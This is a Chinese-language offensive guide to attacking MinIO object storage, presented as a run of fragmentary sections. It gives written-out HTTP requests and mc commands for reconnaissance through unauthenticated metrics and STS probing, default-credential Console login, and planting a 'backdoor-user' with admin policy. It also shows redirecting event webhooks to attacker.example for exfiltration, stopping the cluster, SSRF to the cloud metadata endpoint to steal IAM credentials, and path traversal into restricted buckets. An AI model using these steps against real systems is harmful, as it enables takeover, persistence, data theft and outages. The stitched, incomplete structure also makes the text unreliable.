Admin API 面:与 S3 API 共用端口,但路径独立(/minio/admin/v3/),用于集群管理、用户管理、配置读写、日志追踪、性能测试
Console 面:独立端口的 Web 管理控制台,默认端口 9001,提供登录、Bucket 管理、用户管理、监控面板
STS 面:Security Token Service,与 S3 API 共用端口,用于颁发临时凭据(AssumeRole、AssumeRoleWithWebIdentity、AssumeRoleWithLDAP)
对攻击者来说,MinIO 的价值不在于某个单一漏洞,而在于它把存储数据、集群控制、身份管理与临时凭据颁发集中在同一进程里。一旦 S3 API 对外可达、Console 端口未收口、Admin API 凭据泄露、STS 配置不当,攻击者可以在极短时间内从一次端口探测上升为对整个对象存储生态的接管,甚至拿到云环境元数据。
虽然被拒绝,但 XML 格式与 AccessDenied 结构本身就是 MinIO/S3 兼容层的指纹。
2. 未认证端点:零凭据可回收的信息
2.1 Prometheus 指标面
MinIO 的指标端点在多数部署中不需要认证(取决于是否配置了 Prometheus 认证)。
GET /minio/v2/metrics/node HTTP/1.1Host:minio.target.example:9000Accept:text/plain
# HELP minio_node_disk_total_bytes Total disk space on node
# TYPE minio_node_disk_total_bytes gauge
minio_node_disk_total_bytes{disk="/data1",pool="0",set="0"} 1099511627776
# HELP minio_node_file_descriptor_open_total Total open file descriptors on node
# TYPE minio_node_file_descriptor_open_total gauge
minio_node_file_descriptor_open_total 2048
# HELP minio_node_go_routine_count Total number of go routines
# TYPE minio_node_go_routine_count gauge
minio_node_go_routine_count 1847
# HELP minio_process_cpu_total_seconds Total CPU time consumed on node
# TYPE minio_process_cpu_total_seconds counter
minio_process_cpu_total_seconds 847291.23
# HELP minio_s3_requests_total Total number of S3 requests
# TYPE minio_s3_requests_total counter
minio_s3_requests_total{api="PutObject"} 284719
minio_s3_requests_total{api="GetObject"} 1847291
minio_s3_requests_total{api="ListBuckets"} 4729
minio_s3_requests_total{api="DeleteObject"} 93847
从指标中可直接回收:
磁盘容量与挂载路径(/data1)
节点数量与池/集合拓扑(pool="0", set="0")
文件描述符使用量
Goroutine 数量
各类 S3 API 调用计数(可推断业务使用模式)
CPU 累计消耗(可推断运行时长)
GET /minio/v2/metrics/cluster HTTP/1.1Host:minio.target.example:9000Accept:text/plain
# HELP minio_cluster_disk_total_bytes Total disk space in cluster
# TYPE minio_cluster_disk_total_bytes gauge
minio_cluster_disk_total_bytes 4398046511104
# HELP minio_cluster_nodes_online Total number of nodes online
# TYPE minio_cluster_nodes_online gauge
minio_cluster_nodes_online 4
# HELP minio_bucket_usage_total_bytes Total bucket usage in bytes
# TYPE minio_bucket_usage_total_bytes gauge
minio_bucket_usage_total_bytes{bucket="app-logs"} 284719283746
minio_bucket_usage_total_bytes{bucket="user-uploads"} 1847291837462
minio_bucket_usage_total_bytes{bucket="backups"} 948271837462
POST /?Action=AssumeRoleWithWebIdentity&Version=2011-06-15 HTTP/1.1Host:minio.target.example:9000Content-Type:application/x-www-form-urlencodedContent-Length:0
如果未配置 OIDC Provider,返回:
<?xml version="1.0" encoding="UTF-8"?><Error><Code>InvalidParameterValue</Code><Message>WebIdentityToken is invalid</Message></Error>
如果已配置但参数缺失,返回:
<Error><Code>MissingParameter</Code><Message>WebIdentityToken, RoleArn and RoleSessionName are required</Message></Error>
这些响应可以确认 STS 是否启用以及支持哪些认证方式。
3. 凭据后:Admin API 面深度利用
3.1 Admin API 认证机制
Admin API 使用 AWS Signature V4 签名,但路径前缀为 /minio/admin/。一旦拿到有效凭据(无论是根凭据还是具有 admin 策略的用户凭据),即可调用全部管理端点。
使用 mc 客户端设置别名:
mc alias set target https://minio.target.example:9000 ACCESSKEY SECRETKEY
3.2 集群信息枚举
GET /minio/admin/v3/info HTTP/1.1Host:minio.target.example:9000Authorization:AWS4-HMAC-SHA256 Credential=minioadmin/20260616/us-east-1/s3/aws4_request,SignedHeaders=host;x-amz-date,Signature=...X-Amz-Date:20260616T080000Z
mc admin user add target backdoor-user 'b@ckd00r-s3cr3t'mc admin policy attach target consoleAdmin --user=backdoor-user
对应 Admin API:
PUT /minio/admin/v3/add-user HTTP/1.1Host:minio.target.example:9000Authorization:AWS4-HMAC-SHA256 ...Content-Type:application/octet-stream{"accessKey":"backdoor-user","secretKey":"b@ckd00r-s3cr3t"}
PUT /minio/admin/v3/set-user-or-group-policy?user=backdoor-user&isGroup=false HTTP/1.1Host:minio.target.example:9000Authorization:AWS4-HMAC-SHA256 ...Content-Type:application/json{"policyName":"consoleAdmin"}
也可以修改通知配置,将事件流导向攻击者控制的 Webhook:
mc admin config set target notify_webhook:exfil \
endpoint="https://attacker.example/webhook"\
auth_token="exfil-token"\
enable=on
mc admin service restart target
3.8 服务控制
Admin API 还支持直接停止或重启整个集群:
mc admin service stop target
mc admin service restart target
mc admin service freeze target
对应 API:
POST /minio/admin/v3/service HTTP/1.1Host:minio.target.example:9000Authorization:AWS4-HMAC-SHA256 ...Content-Type:application/json{"action": "stop"}
4. Console 面利用
4.1 登录接口
Console 登录端点在端口 9001 上。
POST /api/v1/login HTTP/1.1Host:minio.target.example:9001Content-Type:application/jsonConnection:close{"accessKey":"minioadmin","secretKey":"minioadmin"}
GET /api/v1/admin/users HTTP/1.1Host:minio.target.example:9001Cookie:token=eyJhbGciOiJIUzUxMiIs...
4.3 STS 登录
如果配置了 LDAP 或 OIDC,Console 还支持 STS 登录:
POST /api/v1/login/sts HTTP/1.1Host:minio.target.example:9001Content-Type:application/json{"accessKey":"ldap-user","secretKey":"ldap-password"}
5. STS 临时凭据面利用
5.1 AssumeRole
已有 MinIO 凭据的用户可以通过 STS 颁发临时凭据:
POST /?Action=AssumeRole&Version=2011-06-15 HTTP/1.1Host:minio.target.example:9000Content-Type:application/x-www-form-urlencodedAuthorization:AWS4-HMAC-SHA256 ...DurationSeconds=3600
核心问题:mc admin alias set 命令在 shell 历史和进程列表中暴露 secret key
利用条件:需要本地访问或 shell 历史读取权限
影响:凭据从运维终端泄露
6.3 CVE-2024-24747:Webhook SSRF
影响版本:RELEASE.2024-01-31T20-20-33Z 之前
CVSS:6.5(Medium)
核心问题:Webhook 通知配置允许指向任意 URL,包括云元数据端点
利用条件:需要 Admin API 权限
影响:SSRF 到 169.254.169.254,窃取云环境 IAM 凭据
mc admin config set target notify_webhook:ssrf \
endpoint="http://169.254.169.254/latest/meta-data/iam/security-credentials/"\
enable=on
mc admin service restart target
6.4 CVE-2024-24746:路径穿越与策略绕过
影响版本:RELEASE.2024-01-31T20-20-33Z 之前
CVSS:6.5(Medium)
核心问题:对象路径中的目录穿越序列(../)可绕过 Bucket Policy 授权检查
利用条件:需要基本 S3 访问权限
影响:越权访问其他 Bucket 中的对象
GET /allowed-bucket/../../restricted-bucket/secret-document.pdf HTTP/1.1Host:minio.target.example:9000Authorization:AWS4-HMAC-SHA256 ...